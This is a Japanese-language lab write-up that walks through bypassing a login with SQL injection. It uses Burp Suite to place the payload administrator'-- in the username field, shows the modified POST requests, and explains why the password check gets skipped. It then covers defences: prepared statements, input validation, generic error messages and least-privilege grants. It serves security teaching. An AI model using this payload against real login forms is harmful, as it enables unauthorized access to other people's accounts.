Hello there, ('ω')ノ
このラボでは、SQLインジェクションを利用してパスワードなしで管理者アカウントにログイン する方法を実践します。
🛠️ ラボの概要
このアプリケーションは、ユーザー名とパスワードを使ってログイン認証を行います。
通常、ログイン時に実行されるSQLクエリは以下のようになっています。
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese';
このクエリは、ユーザー名とパスワードが一致するレコードがあればログイン成功 となる仕組みです。
しかし、SQLインジェクションを使えば、パスワードを知らなくても 管理者アカウント(administrator) にログインできます。
🎯 攻撃の手順
1️⃣ Burp Suite を起動し、ログインリクエストをキャプチャ
- Burp Suite を開き、
Proxy
タブを有効にする。 - ブラウザを Burp のプロキシを通じて起動 し、ラボのログインページを開く。
- ダミーのユーザー名とパスワードを入力し、ログインボタンを押す。
- Burp Suite の Intercept にリクエストが表示される ので、
username
パラメータを変更する。
2️⃣ SQLインジェクションを仕込む
キャプチャしたリクエストの username
パラメータを以下のように変更する。
administrator'--
変更前のリクエスト
POST /login HTTP/1.1 Host: insecure-website.com Content-Type: application/x-www-form-urlencoded username=wiener&password=bluecheese
⬇️ 変更後のリクエスト
POST /login HTTP/1.1 Host: insecure-website.com Content-Type: application/x-www-form-urlencoded username=administrator'--&password=
3️⃣ 変更したリクエストを送信し、管理者としてログイン
Forward
ボタンを押してリクエストを送信する。- ブラウザでログイン後のページを確認し、管理者としてログインできているかをチェック する。
- 成功すればラボクリア! 🎉
🧐 仕組みを解説
上記の攻撃により、サーバーが実行するSQLクエリは以下のように変化します。
SELECT * FROM users WHERE username = 'administrator'--' AND password = '';
--
はSQLのコメントアウト記号 なので、それ以降の AND password = ''
の部分は無視され、最終的なクエリは次のようになります。
SELECT * FROM users WHERE username = 'administrator';
この結果、administrator
アカウントのデータが取得され、パスワードチェックなしでログインが成功します。
✅ 結果: パスワードなしで管理者アカウントにログイン可能!
🔒 防御策(SQLインジェクションを防ぐ方法)
このような攻撃を防ぐには、以下の対策を必ず実装する必要があります。
1️⃣ プリペアドステートメントを使用する(最優先)
SQLインジェクションを確実に防ぐためには、プリペアドステートメント(バインド変数) を使用するのが最も効果的です。
✅ 安全なコード例(PHP + PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->execute([$username, $password]);
この方法では、ユーザーの入力値がSQLの一部として解釈されず、安全に処理されます。
2️⃣ ユーザー入力のバリデーションを行う
username
に 英数字のみ許可 する。- SQLの特殊文字(
'
,--
,;
,"
など)をブロックする。
✅ 入力値のバリデーション(PHP)
if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) { die("Invalid username."); }
3️⃣ エラーメッセージを適切に処理する
- データベースのエラーメッセージをユーザーに直接表示しない。
- 一般的なエラーメッセージ(「認証に失敗しました」など)を返すようにする。
✅ 安全なエラーハンドリング(PHP)
try { $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->execute([$username, $password]); } catch (Exception $e) { error_log($e->getMessage()); // ログには詳細を記録 die("Login failed."); }
4️⃣ データベースの権限を最小限にする
- アプリケーションのDBユーザーには、必要最低限の権限のみ を付与する。
SELECT
のみ許可し、DROP
やUPDATE
は制限する。
✅ 安全な権限設定(MySQL)
GRANT SELECT ON shop.users TO 'app_user'@'localhost';
✅ まとめ
🎯 攻撃手法のポイント
1. administrator'--
を入力することで、パスワードなしで管理者アカウントにログイン
2. --
を使用してパスワードチェックをコメントアウト
🛡 防御策(必ず実装すること!)
✅ プリペアドステートメントを使用する(最優先)
✅ ユーザー入力のバリデーションを行う(特殊文字をブロック)
✅ エラーメッセージを適切に処理する(SQLエラーを表示しない)
✅ データベースの権限を最小限にする(SELECT
のみ許可)
SQLインジェクションは、適切な対策を実施することで確実に防ぐことが可能です。
開発時には必ず 「このコードはSQLiに対して安全か?」 を意識し、安全なアプリケーションを構築しましょう! 🚀
Best regards, (^^ゞ